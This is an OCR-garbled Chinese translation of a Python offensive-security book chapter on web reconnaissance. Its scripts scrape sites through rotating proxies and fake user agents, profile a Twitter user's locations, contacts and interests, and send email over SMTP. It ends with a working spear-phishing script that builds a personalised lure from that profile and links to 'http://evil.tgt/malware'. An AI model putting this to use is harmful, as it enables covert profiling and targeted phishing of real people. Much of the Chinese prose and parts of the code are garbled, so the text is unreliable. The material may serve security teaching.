
recon:~# python printCookies.py

<Cookie
_syngress_session=BAh7CToNY3VydmVudHkiCHVzZDoJbGFzdCIAO
g9zZYNzaW9uX2lkIiU1ZWFmNmIXMTQ5ZTQxMzUxZmE2ZDI1MSBIY
TA4ZDUxOSIKZmxhc2hJQzonQWNO0aW8uQ29udHIvbGxicjo6Rmxhc
2g60kZsYXNoSGFzaHsABjoKQHVzZWR7AA%3D%3D--
f80f741456f6c0dc82382bd8441b75a7a39f76c8
forwww.syngress.com/ >

REEHIRFAIAIEES Python 3¢

ELBTILNINEE BN EASE , EXE | BRFI— 1 EINMISEL.
NRBEXLFMEI— M REEERER | XN LIRS A— 1 XIS saIR
BEREAR , MARSARIINREEIENHERAMANEZER. 1K
IR AMETLAT FE Browser 25 , Fe(1AYFT Browser ZKIESBH(IEEZBIEEH
BREL , LARKISSICRIREANINRE. XEBFITFRESABINAEY , HEEREN
INBETE Browser ZEHREHEEAME,



import mechanize, cookielib, random, time

class anonBrowser(mechanize.Browser):
def __init__ (self, proxies = [], user_agents = []):
mechanize.Browser.__init__ (self)
self.set_handle_robots(False)
self.proxies = proxies

self.user_agents = user_agents + ['Mozilla/4.0 ',
'FireFox/6.01','ExactSearch’, 'Nokia7110/1.0']

self.cookie_jar = cookielib.LWPCookielar()
self.set_cookiejar(self.cookie_jar)
self.anonymize()
def clear_cookies(self):
self.cookie_jar = cookielib.LWPCookielar()
self.set_cookiejar(self.cookie_jar)
def change_user_agent(self):
index = random.randrange(0, len(self.user_agents))
self.addheaders = [('User-agent’, (self.user_agents[index]))]
def change_proxy(self):
if self.proxies:
index = random.randrange(0, len(self.proxies))
self.set_proxies({'http': self.proxies[index]})
def anonymize(self, sleep = False):
self.clear_cookies()
self.change_user_agent()
self.change_proxy()
if sleep:

time.sleep(60)



BAIERE— 1 BN user-agents 73 |, 125K RINAE | LUREFE
(FERVRIEIRS IR, BEEEHIITAICIEN="T88 , ATLAERhtbATLA
ERERERRE. &5 anonymize IRHLERS 60 FUAUEIN , EINERSEEH
SiEKiAZ B E. R EASEHRERER | IZEMIT RN TR
B AERFIEIAIN <. ISR EfEMRET 2R —NER , (BEFU
HEIEE BN , NEBERR— NI, B—MEFLALERNAEE
FIIXAN#EE. 324 anonBrowser.py B85 , REAESARBRRETE &
A EEREEHANER.

EBRAIVREHNEA , SAFAINFHE. e HIRTEEINS L
JIEERERFIVEESE. ATREEESIENEM LN , BNEFENES
B, HIREEREREIE IR MubE TR RGE—
cookie, FAMEERGEHZMILIDR,

from anonBrowser import *

ab = anonBrowser(proxies=[],user_agents=[('User-
agent','superSecretBroswer')])

for attempt in range(1, 5):
ab.anonymize()
print(‘'[*] Fetching page')
response = ab.open('http://kittenwar.com')
for cookie in ab.cookie_jar:

print(cookie)

BATZMA | BAIBRIREBREURARRTEIARE cookie BYIAl. AkLO ! REE
BATERIDIASRAVEN |, IEBAUAETATBEMuE_ ERIRAANGEE.

recon:~# python kittenTest.py
[*] Fetching page



<Cookie PHPSESSID=qg3fbia0t7ue3dnen5i8brem61 for
kittenwar.com/>

[*] Fetching page

<Cookie PHPSESSID=25s8apnvejkakdjtd67ctonfl0 for
kittenwar.com/>

[*] Fetching page

<Cookie PHPSESSID=16srf8kscgb2l2e2fknoqf4nh2 for
kittenwar.com/>

[*] Fetching page

<Cookie PHPSESSID=73uhg6glqge9p2vpk0gt3d4ju3 for
kittenwar.com/>

RER&¥XHFZE WEB TIH

BEATRTLARS Python BX[E] WEB IZ. RJLATHAMERIRTY . FHiITLUES
MERABNMIESE AR AR T . WEETLLRANEEERIERES
KESEIRIREMMENEUE. AMXFMERITIST-EAENTTENLES. Bl
MULAI A B EIAHEER D TREATNIEEEL. FATATLARIBARE R , AEHR
ToEOR, B—SERTLUXEEY , EERIEEIIFENECH , RIS
anonBrowser 3§, 1LF{{]F| A anonBrowser 2467 B RMubFTrERISEREIE,

FH Beautiful Soup §#tf Href f%i%

T NERubETIEE | FATERANERE | (1)FBAENRATCRIE R IR R
HTML 88, (2)EREARISB =77 BeautifulSoup , RTLATE FEIMuL FEZA
http://www.crummy.com/software/BeautifulSoup/, BeautifulSoup BIEIIEE
T IXMRIFRIEESRAMEFOMET HTML (CR8F0 XML, &% . BIIEE B+ ER

FMT R RS | AEEREATAKRSEIBER T BeautifulSoup 21RIFANIERE,



anonBrowser *

BeautifulSoup BeautifulSoup
optparse
re

printLinks(url):
ab = anonBrowser()
ab.anonymize()
page = ab.open(url)
html = page.read()

'[+] Printing Links From Regex.'
link finder = re.compile("href="(.*?)"")
links = link finder.findall(html)

link in links:
link

"n[+] Printing Links From BeautifulSoup.'
soup = BeautifulSoup(html)
links = soup.find All( ='a")
link in links:
link.has key('href"):
link['href']

main():
parser = optparse.OptionParser('usage%prog -u <target url>")
parser.add option('-u' ='tgtURL' ='string' ='specify

target url")

(options, args) = parser.parse _args()
url = options.tgtURL

url == ;

parser.usage

(©)




printLinks(url)

! '

__name _==' main_ "
main()
EATEAIRIBIA | LEFA SRR B TROuGATNEE | Bl IRORIA =45tz
FERBIIENZRIATLN BeautifulSoup f##T.

recon:# python linkParser.py -uhttp://www.hampsterdance.com/
[+] Printing Links From Regex.

styles.css

http://Kunaki.com/Sales.asp?PID=PX00ZBMUHD
http://Kunaki.com/Sales.asp?PID=PX00ZBMUHD
Freshhampstertracks.htm

freshhampstertracks.htm

freshhampstertracks.htm

http:/ /twitter.com/hampsterrific

http:/ /twitter.com/hampsterrific
https://app.expressemailmarketing.com/Survey.aspx?SFID=32244
funnfree.htm
https://app.expressemailmarketing.com/Survey.aspx?SFID=32244
https://app.expressemailmarketing.com/Survey.aspx?SFID=32244
meetngreet.htm

http://www.asburyarts.com

index.htm

meetngreet.htm

musicmerch.htm

funnfree.htm

freshhampstertracks.htm

hampsterclassics.htm



http://www.statcounter.com/joomla/

[+] Printing Links From BeautifulSoup.
http://Kunaki.com/Sales.asp?PID=PX00ZBMUHD
http://Kunaki.com/Sales.asp?PID=PX00ZBMUHD
freshhampstertracks.htm

freshhampstertracks.htm

freshhampstertracks.htm

http:/ /twitter.com/hampsterrific

http:/ /twitter.com/hampsterrific
https://app.expressemailmarketing.com/Survey.aspx?SFID=32244
funnfree.htm
https://app.expressemailmarketing.com/Survey.aspx?SFID=32244
https://app.expressemailmarketing.com/Survey.aspx?SFID=32244
meetngreet.htm

http://www.asburyarts.com

http://www.statcounter.com/joomla/

F—EBRMUFEARZ. A, ERENZRIAZUA BeautifulSoup 74T A EIRY
ZR | 5 MEERESIRRBERERAVRERUAK | EREFEIITRERZEMN
IREHRAYSSL. Al FMRIENRIENE S CSS /EA—1 link , B2 | X
AB—EHE , EfEHRIENZRIATIINES Y. BeautifulSoup FFTRIAIEZIRE |
A,

F Beautiful Soup FT&EH

PR RN EERYEE , ELENERTESER. £5%=8  HIER=70E
MERHIRZETTENE. B—IX , BeautifulSoup AT X% , AIFEEM
HTML SRiERImgtrEs. NERIR THE R RFEAER | (UBIRMHR
BEERTAEG. BEXERN , BIIETHRRSRCETEEEEAR K
2R TR T EE .



anonBrowser o
BeautifulSoup BeautifulSoup
0S
optparse

mirrorImages(url, dir):
ab = anonBrowser()
ab.anonymize()
html = ab.open(url)
soup = BeautifulSoup(html)
image tags = soup.findAll('img")
image in image tags:
filename = 1mage['src'].Istrip(‘http://")
filename = os.path.join(dir, filename.replace('/',' "))
('[+] Saving ' + str(filename))
data = ab.open(image|['src']).read()
ab.back()
save = (filename, 'wb')
save.write(data)
save.close()

main():
parser = optparse.OptionParser('usage%prog -u <target url> -d
<destination directory>")
parser.add option('-u' ='tgtURL' ='string' ='specify
target url')
parser.add_option('-d' ='dir’ ='string’ ='specify
destination directory')
(options, args) = parser.parse _args()
url = options.tgtURL
dir = options.dir
url == dir ==
parser.usage

(©)

mirrorlmages(url, dir)
e:




('[-] Error Mirroring Images.")

([-]"+ str(e))

' '

__name ==' main_":

main()

BITIXANZA | BAIBZICRIIRY N E T WMutRIFrEEIR.

econ:~# python imageMirror.py -u http://xkcd.com -d /tmp/
[+] Saving /tmp/imgs.xkcd.com_static_terrible_small_logo.png
[+] Saving /tmp/imgs.xkcd.com_comics_moon_landing.png

[+] Saving /tmp/imgs.xkcd.com_s_a899e84.jpg

R, BHE , &

EAZEMRNHSTREZI=NT , HEENBTARTESE IR, 3T
Stuxnet IEEEE , E— EREREHN SCADA ZFRMRFAA. RIHTNERN
ARBISAEATNARMRBX EEMARNEIENAT, EIRER , Fi1E
—NEENAEFESE—TMEEAY , — M EENREETESBHXA
BORER. WEEHERENEEERZWAIANR | FEFAEERMIIE
fERRN T A. M Oracle , Google FRTERY , Tl IFIREZE T RA—FS!
YR,

F Python 1 Google API 3zH

BR—T , —MNAREE— MM |, B ERNLAAFRRMELHA, R
EAEZ ? Google —T, FrlA , EAIMMITHRERADNESERT 2 789,
ZZHIRE Google, Google 12T MR API tiTiEFRiF TEIAH
BRIER |, MAMERIERIERRN Google RE., BRIBME API, &AW



APIF0 APl , iXEREFAETH. BXBR—E_NFAEZEERILIERTER
B8, —EERILASSIIRIERATHRIBI IS A 6ER. %LE’\JxE%IEIE’\JHJizlS{IQ’\SfoF
—%ZEPSL_F;—,Z%EUE’\JEYJ RAEFR 30 KIBRER, BTKERE E’\Jii.?

EREH T NERREIERT. RINSELBAINEAEE | &
IQE%@)‘(LE!’\J%@W

import urllib

from anonBrowser import *

def google(search_term):
ab = anonBrowser()
search_term = urllib.quote_plus(search_term)

response =
ab.open('http://ajax.googleapis.com/ajax/services/search/web?v
=1.0&q="' + search_term)

print(response.read())

google('‘Boondock Saint')

M Google IREIFIAZFI NEAISEIL.

{"responseData": {"results":[{"GsearchResultClass":"GwebSearch",
"unescapedUrl":"http:/ /www.boondocksaints.com/","url":"http://
www.boondocksaints.com/","visibleUrl":"www.boondocksaints.

com","cacheUrl":"http:/ /www.google.com/search?q\

u003dcache:13XWO0wgXgn4J:www.boondocksaints.com","title":"Th
e\

u003cb\u003eBoondock
Saints\u003c/b\u003e","titleNoFormatting":"The

Boondock

<..SNIPPED..>



\u003cb\u003e...\u003c/b\u003e"}],"cursor":{"resultCount":"62,8
ooll’

"pages":[{"start":"0","label":1},{"start":"4","label":2},{"start
":"8","label":3},{"start":"12","label":4},{"start":"16","label":
5},{"start":"20","label":6},{"start":"24","label":7},{"start":"2
8","label":8}],"estimatedResultCount":"62800","currentPageIndex"

:0,"moreResultsUrl":"http:/ /www.google.com/search?oe\u003dutf
8\

u0026ie\u003dutf8\u0026source\u003duds\u0026start\u003d0\u
0026hl\

u003den\u0026q\u003dBoondock+Saint","searchResultTime":"0.1
6"}}

"responseDetails": null, "responseStatus": 200}

quote_plus()EREZIXMAAFRIFEN SR, URL RS EisIFFE4RI=
FIEEIARERIXRRIIRS AR, EAAETEAI URL RS , (BREST(IFERT.
E/EFJEN Google IR E7R : —MKFAFERAMESHISIS, MRIFMFHENER |,
SRMBNAIANBERKREFH, XENERZ json &TURY , FIFEIFERI |,
AR, Python B ERTLAKIEEFILME json ZFRFER, TEERAITRIMXNINEE

FTE XM AL,

import urllib, json

from anonBrowser import *

def google(search_term):
ab = anonBrowser()
search_term = urllib.quote_plus(search_term)

response =
ab.open('http://ajax.googleapis.com/ajax/services/search/web?v
=1.0&q=" + search_term)

objects = json.load(response



print(response.read())

google('Boondock Saint')

SHAWTENIRAT , BEERFEEE—REERIRN json FEIIFEIENE—F
H IPXEFERERZER | MABEF RIS,

{u'responseData’: {u'cursor': {u'moreResultsUrl":
u'http://www.google.

com/search?oe=utf8&ie=utf8&source=uds&start=0&hl=en&q=Boo
ndock

+Saint’, u'estimatedResultCount': u'62800', u'searchResultTime":
u'0.16', u'resultCount': u'62,800', u'pages’: [{u'start': u'0’,

u'label’: 1}, {u'start': u'4’, u'label': 2}, {u'start': u's’,

u'label’: 3}, {u'start': u'12’, u'label": 4}, {u'start': u'16’,

u'label’: 5}, {u'start': u'20’, u'label": 6}, {u'start': u'24’,

u'label’: 7}, {u'start': u'28', u..SNIPPED..>

Saints</b> - Wikipedia, the free encyclopedia’, u'url': u'http://
en.wikipedia.org/wiki/ The_Boondock_Saints', u'cacheUrl': u'http://
www.google.com/search?q=cache:BKaGPxznRLYJ:en.wikipedia.org’,
u'unescapedUrl': u'http://en.wikipedia.org/wiki/The_Boondock_

Saints’, u'content': u'The <b>Boondock Saints</b> is a 1999
American

action film written and directed by Troy Duffy. The film stars Sean

Patrick Flanery and Norman Reedus as Irish fraternal
<b>...</b>"'}1},

u‘responseDetails': None, u'responseStatus': 200}

DEFATTLAE BE—MAER Google ERMERBHAEREEEN. BR
TWHRERHEAREE, 1t5h , TWERIFREF Google FRRY/NATISZ AN RS TR 4%



EIERMBEHLREE. ATHRXEER , BT —IRAEFER. X
BRBAFAENERESZ.

json

urllib

optparse
anonBrowser

Google Result:
(self title,text,url):
title = title
text = text
rl = url
(self):

title

google(search term):
ab = anonBrowser()
search term = urllib.quote plus(search term)
response =
ab.open('http://ajax.googleapis.com/ajax/services/search/web?v=1.0
&q="+ search term)
objects = json.load(response)
results = []
result in objects['responseData']['results']:
url = result['url']
title = result['titleNoFormatting']
text = result['content']
new_gr = Google Result(title, text, url)
results.append(new_gr)
result

main():
parser = optparse.OptionParser('usage%prog -k <keywords>")
parser.add_option('-k' ='keyword' ='string' ='specify
google keyword")
(options, args) = parser.parse_args()
keyword = options.keyword




options.keyword ==
(parser.usage)

(0)

results = google(keyword)
(results)
__name ==' main_ "
main()

XM E SR EMEWERIS U ELA T

recon:~# python anonGoogle.py -k '‘Boondock Saint’

[The Boondock Saints, The Boondock Saints (1999) - IMDb, The
Boondock

Saints II: All Saints Day (2009) - IMDb, The Boondock Saints -
Wikipedia, the free encyclopedia]

F Python &t Tweets

EX—RL , FNNHAEEEIRMET —ERANBFRIER. EBAIRY
T—RINLEH , BAVEREEAAES  FHaEN SRR NAGR.

{& Google , Twitter Z5FFAZELRE T APL , 1Z30H57E
https://dev.twitter.com/docs , JFERAN , IRETESERAVAEE , (BERE
FFHRAE,

LERAHRFT AT Twitter 18 ZR20E. BAkiR | B(IIERAZEZEE
HB2= th3j35t3r BU7&IHE , /BIE Boondock Saint fEE CHIBRHR. FAfiiSHaiE
reconPerson()ZESABHI th3j35t3r EJ Twitter RIS TR,

json
urllib




anonBrowser

reconPerson:

(self.first name,last name, job=",social media={}):
first name = first name
last name = last name
.Job = job
.social_media = social media

(self):

first name +'' + Jast name + ' has job ' +
.Job
get_social( media_name):
.social media.has key(media name):
.social media[media name]

query_twitter( query):
query = urllib.quote plus(query)
results = []
browser = anonBrowser()
response =
browser.open('http://search.twitter.com/search.json?q="+ query)
json_objects = json.load(response)
result in json_objects['results']:
new_result = {}
new_result['from user'| = result['from user name']
new_result['geo'] = result['geo']
new_result['tweet'] = result['text']
results.append(new_result)
results
ap = reconPerson('Boondock’, 'Saint')
ap.query_twitter('from:th3j35t3r since:2010-01-01
include:retweets')

SH—PHRERGR Twitter , FAIBEBE TR MIER | XATENEE
EFEEEH. MEE—LEEZER UGNazi IUIFERITR, FaOIRER
TERHENH AR ZERXTE,



recon:~# python twitterRecon.py

[{'tweet': u'RT @XNineDesigns: @th3j35t3r Do NOT give up. You are

None, 'from_user': u'p\u0iddz\u0131iuod\u0250\u0idd\u028d
\u029e\

u02540puooq'}, {'tweet': u'RT @droogielxp: "Do you expect me to
talk?" - #UGNazi "No #UGNazi I expect you to die." @th3j35t3r
#ticktock', 'geo': None, 'from_user': u'p\u0iddz\u0131iuod\u0250\

u01dd\u028d \u029e\u02540puooq'}, {'tweet': u'RT @Tehvar:
@th3j35t3r

my thesis paper for my masters will now be focused on supporting
the

#wwp, while I can not donate money I can give intelligence.'

<..SNIPPED..>

HAE , (RERIXMUBHNIHEREE RINERBIZEAM T | "HHERIXHEF
MEEAM_ R —EAFERANERZE. B2, (£ Twitter (IZERIREA |
ERMISHEFRIES. SKCRNPAGEHAFEE— ST . TA
RIER | RZEZEFEE , BIRSIESFREMIERESHE T ANFERIA.
MIHELERREX NI |, ERAREMUERAREIME, iR(IH—F
RIERFTM Twitter BOIRA EEHREVV EEUE.

$REY Twitter BB LR

1RZ Twitter BRIBET— M ARXAIRE , SHEEURIIMS SRS =, —&
Fiit , HEANE © [Eith Twitter BPEERETXS] + [MXARYERINLR
&) + [Hash i5%] . EfbRISEIREEREE  BEFTHERARRN | #iGE
BEENE. M, BE—F  LWEENIREEA—TXMAN , WTER
RAPXANANZERT @ [AFRSKERA | BIIRARERZRI=] + [E
ANBSKEIRHEREE TR , ISP ERAVERRER] + [EARRE
SWXNEREEZHTHE] . ERSEERENMEERE RN EE
RITEIOERIE). MMSMAEEFRVEIMIET | IIINEAZEERLZEE. &2



XA BER— MRHRAINLAR | B BRI Twitter -RERAIZ—K(E
S

CNo

json

urllib

optparse
anonBrowser

get tweets(handle):
query = urllib.quote plus(‘from:' + handle+ ' since:2009-01-01
include:retweets')
tweets = []
browser = anonBrowser()
browser.anonymize()
response =
browser.open('http://search.twitter.com/search.json?q="+ query)
json_objects = json.load(response)
result in json_objects['results']:
new_result = {}
new_result['from user'] = result['from user name']
new_result['geo'] = result['geo']
new_result['tweet'] = result[ 'text']
tweets.append(new_result)
tweets

load_cities(cityFile):
cities = []
line (cityFile).readlines():
city=line.strip("\n").strip("\r').lower()
cities.append(city)
cities

twitter locate(tweets,cities):
locations = []
locCnt =
cityCnt =
tweetsText =""




tweet In tweets:

tweet['geo'] 1=
locations.append(tweet['geo'])

locCnt +=

tweetsText += tweet['tweet'].lower()
city in cities:

city in tweetsText:

locations.append(city)

cityCnt+=

("[+] Found "+str(locCnt)+" locations via Twitter API
and "+str(cityCnt)+" locations from text search.")
locations

main():
parser = optparse.OptionParser('usage%prog -u <twitter handle>
[-c <list of cities>]")
parser.add option('-u' ='handle' ='string’' ='specify

twitter handle'")

parser.add option('-c' ='cityFile' ='string’ ='specify
file containing cities to search')

(options, args) = parser.parse_args()

handle = options.handle

cityFile = options.cityFile

(handle== ):
parser.usage
0)
=]

(cityFile!= ):

cities = load_cities(cityFile)

tweets = get_tweets(handle)

locations = twitter locate(tweets,cities)

("[+] Locations: "+str(locations))

__name ==' main_":
main()

o7 BA IR |, Befi IS T IpkmhRYBIER.

recon:~# cat mlb-cities.txt | more



baltimore

boston

chicago

cleveland

detroit

<..SNIPPED..>

recon:~# python twitterGeo.py -u redsox -c mlb-cities.txt

[+] Found O locations via Twitter API and 1 locations from text
search.

[+] Locations: ['toronto’]
recon:~# python twitterGeo.py -u nationals -c mib- cities.txt

[+] Found O locations via Twitter API and 1 locations from text
search.

[+] Locations: ['denver']

FBIENFREN T Twitter AI5GE

BT REA HSE RS | XEOERRP A 2RSS, (HIRIER
IEERRA TR AMERIF AR | BT | AR RS
TAEIAOERY, OBATRIERTICN | Twitter BOXBATEA LTS
Hash i7&al & RERFIEEINNE, REUSALHREIXERES.

json

re

urllib

urllib2

optparse
anonBrowser

get tweets(handle):
'y = urllib. lus('from:' + handle+ ' since:2009-01-01




include:retweets')
tweets = []
browser = anonBrowser()
browser.anonymize()
response =
browser.open('http://search.twitter.com/search.json?q=' + query)
json_objects = json.load(response)
result in json_objects['results']:
new result = {}
new_result['from user'] = result['from user name']
new_result['geo'] = result['geo’]
new_result['tweet'] = result[ 'text']
tweets.append(new_result)
tweets

find_interests(tweets):
interests = {}
interests['links'] = []
interests['users'] = []
[

interests['hashtags'] = []
tweet In tweets:
text = tweet['tweet']
links = re.compile('(http.*?)\Z|(http.*?) ").findall(text)
link in links:
link[O0]:
link = link[0]
link[1]:
link = link[1]

response = urllib2.urlopen(link)
full link = response.url
interests['links'].append(full link)

interests['users'] += re.compile('(@\w+)").findall(text)
interests|'hashtags'] +=re.compile('(#\w+)").findall(text)
interests[users'].sort()
interests['hashtags'].sort()




interests|['links'].sort()
interests

main():
parser = optparse.OptionParser('usage%prog -u <twitter handle>")
parser.add option('-u' ='handle' ='sring’ ='specify
twitter handle')
(options, args) = parser.parse_args()
handle = options.handle
handle ==
(parser.usage)
)
tweets = get_tweets(handle)
interests = find interests(tweets)
("\n[+] Links.")
link (interests['links']):
(' [+] '+ str(link))
("n[+] Users.")
user (interests['users']):
(" [+] ' + str(user))
("n[+] HashTags.")
hashtag (interests['hashtags']):
("\n[+] ' + str(hashtag))
__name ==' main_ "
main()

BITERAIANEBOHIA |, BB CHET RS Bira0iEE , BFS
Hash 1585, i85 , ©IREIT— Youtube B9#SH , —teFE X EIEDISEE!
ALV ERAY Hash 1725, F&0B—RtBAIEIEZEAM,

recon:~# python twitterInterests.py -u sonnench
[+] Links.

[+]http:/ /www.youtube.com/watch?v=K-
BIuzZtiC7k&feature=plcp

[+] Users.
[+] @tomasseeger

[+] @sonnench



[+] @Benaskren
[+] @AirFrayer
[+] @NEXERSYS
[+] HashTags.
[+] #UFC148

XEFRENFRAAARIHERNGESE. ENFRETIVEE SHEHEIX
REESFE—HFER URL , EARIENRIATURECECRTEEURY URL, 2
M . XIFAIMSENRIET 99%RIER T2, Lok, (R urllib2 EEERIR
T HEEMARRINER:K.

B—X , BB ERER— N FHAFEEE— EINZ TEEEIREETH |
FTLAFEAIATEONE—NE. BT Twitter ZRAAIBRSI , 172 URL EFEFMAR
SERLZEY, XEERANEEREER  BAfMEREEs. ATT
A1), BASAER urllib2 $7F. BIAFTHIRE/S |, urllib BEEXEIEEA URL,
HfttAAF#0 Hash 1R&EERSSURIIENRIATURR R, FRELEENSE
twitter(), MEMXEIRESHWEAER.

A LUSE SIS R E Twitter AYBES]. BEXM_EBTIRAISIR | T+
RIS EERY KBS BIEFRIgE.

BRERINZBNRIOMESERERE , T N SESREERME | X8
Twitter, XLEE F—HHIESERIBLY.

urllib
anonBrowser

json

re

urllib2

reconPerson:
( handle):
.handle = handle

tweets = .get tweets()




get tweets(self):
query = urllib.quote plus('from:' + self.handle+' since:2009-01-
01 include:retweets')
tweets = []
browser = anonBrowser()
browser.anonymize()
response =
browser.open('http://search.twitter.com/search.json?q=' + query)
json_objects = json.load(response)
result in json_objects|'results']:
new_result = {}
new_result['from user'] = result['from user name']
new_result['geo'] = result['geo’]
new_result['tweet'] = result['text']
tweets.append(new_result)
tweets
find interests(sclf):
interests = {}
interests['links'] = []
interests|['users'] = []
interests['hashtags'] = []
tweet tweets:
text = tweet['tweet']
links = re.compile('(http.*?)\Z|(http.*?) ").findall(text)
link in links:
link[0]:
link = link[0]
link[1]:

link = link[ 1]

response = urllib2.urlopen(link)
full link = response.url
interests['links'].append(full link)

interests['users'] +=re.compile('(@\w+)").findall(text)
interests|'hashtags'] +=re.compile('(#\w+)").findall(text)
interests['users'].sort()

interests['hashtags'].sort()




interests['links'].sort()
interests
twitter locate( cityFile):
cities =[]
cityFile !=
line (cityFile).readlines():

city = line.strip("\n").strip("\r').lower()
cities.append(city)

locations = []

locCnt =

cityCnt =

tweetsText ="

tweet tweets:

tweet['geo'] 1=
locations.append(tweet['geo'])
locCnt +=

tweetsText += tweet['tweet'].lower()

city in cities:

city in tweetsText:
locations.append(city)

cityCnt +=

locations

E= bR

HSRLINERRY . MuEEKARF EURHERIK, |, AR ELEMLSRIRIER
TRROE, XBASHI—NERE , WTHEFRONERF | XIS EERMAYSIEE
BAER  BMEARATERZNE  BEERAMEEATABRTIKF., AZH
Wit REFEE—ME AV A EEARIFAANGR. IR |, Google 12
HAYERFERRSS B R 2R , REZHIE. AM , G —EIRSIZFIRGIUE
SZRERAE,

— MREFRIEERER— R ERYHBFE MK PR IE— K A ERYERE, T FF
fiBFE http://10minutemail.com/10MinuteMail/index.html 2—N— X ERIHB
8. WEEA LTI AREEERVE FHM I AR JRIMK, ., KSEs
HCBAERAEAREARTITREREMAFIERE. EALRIEE NETIX
LHIE , WKPERXFATE R LUME], 1SiE , BRX—HRe LA A%
IR |, ARROZREYTED |, FRRMREIK PRI T AR E.



KRt e IiE

EX—RLE  HMNEKXWET BIrIAERNENENER. FRAXEEE8M
RIZEREMER— I ERIIE | TEHERNT BBAATILBRET. EX—
R E—MNERA R BRIREREL | XEAFRGEEFBENERINE
BRgE— MM, AT, FalRIMHEE— M KERNE— AR TITH.
Python RYBEAI SBUFRL(IRIIX MIRE B I RIEERIEER. ATXITER , T
IS ERKERIRE R — M S R BAEM ARG B .

{EF Smtplib &iXmBELS BR
REEFIMFRISIETERREAASEFNER , [REHE  AeREXKIE.
TEXEE  ERmEERSS  JRICR T T STRERINAEA | i
AR EREHL. Python B Smiplib FEISERZ AP BRIXEATRE, Befii5
BIFEI— Python RYEBFHBEE Pim AIEEA IS EEMALE Bir. XMNE
RRER , (BB EREFRAIEMHREIR, FAIOXRIBR , R SR
Google AIER{F SMTP iS5 , {RFEBIE— Google BHMHIKF , FERAIRIBIA
FRiER | BKE{ERE CRI SMTP fRSS=5.

import smtplib

from email.mime.text import MIMEText

def sendMail(user,pwd,to,subject,text):
msg = MIMEText(text)
msg['From'] = user
msg['To'] = to
msg['Subject'] = subject
try:
smtpServer = smtplib.SMTP('smtp.gmail.com’, 587)

print("[+] Connecting To Mail Server.")



smtpServer.ehlo()
print("[+] Starting Encrypted Session.")
smtpServer.starttis()
smtpServer.ehlo()
print("[+] Logging Into Mail Server.")
smtpServer.login(user, pwd)
print("[+] Sending Mail.")
smtpServer.sendmail(user, to, msg.as_string())
smtpServer.close()
print("[+] Mail Sent Successfully.")
except:

print("[-] Sending Mail Failed.")

user = 'username’

pwd = 'password'

sendMail(user, pwd, 'target@tgt.tgt’, 'Re: Important’, 'Test Message')

BITHIA |, teEBAIA9ERFE | Bl LABRIRTIRYAIE Tl

recon:# python sendMail.py
[+] Connecting To Mail Server.
[+] Starting Encrypted Session.
[+] Logging Into Mail Server.
[+] Sending Mail.

[+] Mail Sent Successfully.

R T BRI IRS SIS, BRWEERNREIMHEER. BiFEHN
HRHARSS RS | AT, ALTHER |, BlIRBEAIEHMA R BT ERIItElL, 453
RUBBAARS PIRERE A , SNVETEEEM LHTHER. 1SREREMBE M AL



EMHIsbhL |, RXSRBEAEEALIRTCRRY. SRR AEE fERERAY
RARIZHBHKE Potus@whitehouse.gov : fBfiJEIERAYIMIE T Rkttt 1R
BASFIFRE R SEtbitmby |, AT LAMSEHMAHIRIREIERRRE. A%
Fimi]FE , FIFHEARIIRE | REEEN— M EERESERAUBIIAEEM |
YRINAF IR RYRTREME.

A Smtplib i#{78 XU ML

BEAFFBRARBE—ERENKENMER. EXE , FIAHALIET—
PNEERGEIRIIRARRIE MY , BinkIl—LElRSEE | mHeERk
REABH. AEBRYAFRKRAZIFEEEBERIAZRELREGA , SHSHER
iEERETE. AT RDIXFIEREN |, FNSEIE— B S ERIAE
BREREE. BRI —RBPNEREEXFER. HNERRE
REIERETAYERE., RECEERE | ERERIAMGASBIL , SWF—NER

BlE—MER , AEREEFIMY. FIEHEEIEREANERZELRIEER.,

IBRY if IBE(FARL IR R E R ERE—REEREZAIEH, S48
HEEXRYTREMR , ERNNEPHERES BRI , 8— 1A
SRR, BN FEBLUTERIRYTS ZRE—RAVFIRMEER |
RIRIB SEAMCISRIERE. XiF , WEEIKARNGRHMES |, E—IEHNE
73k, RE— T REIENNEFEMFE iR, BEERA BRI THE.
XMIRERYR —BRDEX—EPERITICT | X2 ARARIREURAYTIE M
IERIFEHD. TEBAIRIGIF P, Fe(BERAIAE— DR EISCAINERS | BUaH
LA EE ZVEIRRYS | BB ARG E, XPEEEE—
RREE , RE—PALSAEEEREUR,

HAMSERMABIE— T APETATRIER. ETtthutt= , AR,
Hash #5% |, 3% , HIAKGEIE— TS EiE RS R R,

smtplib

optparse
email.mime.text MIMEText




twitterClass *
random choice

sendMail(user,pwd.to,subject,text):
msg = MIMEText(text)
msg['From'] = user
msg['To'] = to
msg['Subject'] = subject

smtpServer = smtplib.SMTP('smtp.gmail.com'

("[+] Connecting To Mail Server.")
smtpServer.ehlo()

("[+] Starting Encrypted Session.")
smtpServer.starttls()
smtpServer.ehlo()

("[+] Logging Into Mail Server.")
smtpServer.login(user, pwd)

("[*+] Sending Mail.")
smtpServer.sendmail(user, to, msg.as_string())
smtpServer.close()

("[+] Mail Sent Successfully.")

("[-] Sending Mail Failed.")

main():

parser = optparse.OptionParser(‘usage%prog -u <twitter target> -t
<target email> -1 <gmail login> -p <gmail password>")

parser.add_option('-u' ='handle' ='string’ ='specify
twitter handle')

parser.add_option('-t' ='tgt' ='string' ='specify target
email')

parser.add_option('-I' ='user' ='string’' ='specify
gmail login')

parser.add option('-p' ='pwd' ='string’ ='specify
gmail password')

(options, args) = parser.parse _args()

handle = options.handle

tgt = options.tgt

user = options.user

pwd = options.pwd




handle == tgt == user ==

(parser.usage)
)
("[+] Fetching tweets from: "+str(handle))
spamTgt = reconPerson(handle)
spamTgt.get tweets()
("[+] Fetching interests from: "+str(handle))
interests = spamTgt.find interests()
("[+] Fetching location information from: "+ str(handle))
location = spamTgt.twitter locate('mlb-cities.txt")
spamMsg = "Dear "+tgt+","
(location!= ):
randLoc=choice(location)
spamMsg += " Its me from "+randLoc+"."
(interests['users']!= ):
randUser=choice(interests['users'])
spamMsg += " "+randUser+" said to say hello."
(interests['hashtags']!= ):
randHash=choice(interests['hashtags'])
spamMsg += " Did you see all the fuss about "+ randHash+"?"
(interests|['links']!= ):
randLink=choice(interests['links'])
spamMsg += " I really liked your link to: "+randLink+"."
spamMsg += " Check out my link to http://evil.tgt/malware"
("[*+] Sending Msg: "+spamMsg)
sendMail(user, pwd, tgt, 'Re: Important', spamMsg)

' '

__name ==' main_ ":

main()

RN FA BRI |, Fe(JRTLASKIE—L2KT Boston Red Sox BHER , MAttAY
Twitter IKF_E , AT RE—NEERIBIRERE,

recon# python sendSpam.py -u redsox -t target@tgt -1 username -p
password

[+] Fetching tweets from: redsox



